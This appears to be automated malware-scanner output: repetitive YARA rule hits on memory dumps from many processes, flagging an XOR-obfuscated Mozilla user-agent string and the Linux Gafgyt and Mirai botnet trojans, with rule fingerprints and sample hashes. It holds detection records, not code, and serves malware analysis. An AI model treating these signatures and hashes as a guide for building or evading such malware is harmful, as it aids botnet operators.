Source: 6273.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6273.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6273.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6276.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6276.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6276.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6994.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6994.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6994.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6358.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6358.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6358.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7181.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7181.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7181.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6732.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6732.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6732.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7403.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6823.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6443.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7287.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7287.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7287.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6486.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6486.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6486.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6366.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7377.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6574.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6574.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6574.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7367.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7367.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7367.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7228.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7228.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7228.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6374.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6374.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6374.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6761.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6761.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6761.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6424.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6798.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7010.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6946.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6278.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7040.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7259.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7259.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7259.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6378.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7069.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7069.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7069.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6920.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6920.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6920.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7249.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6511.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
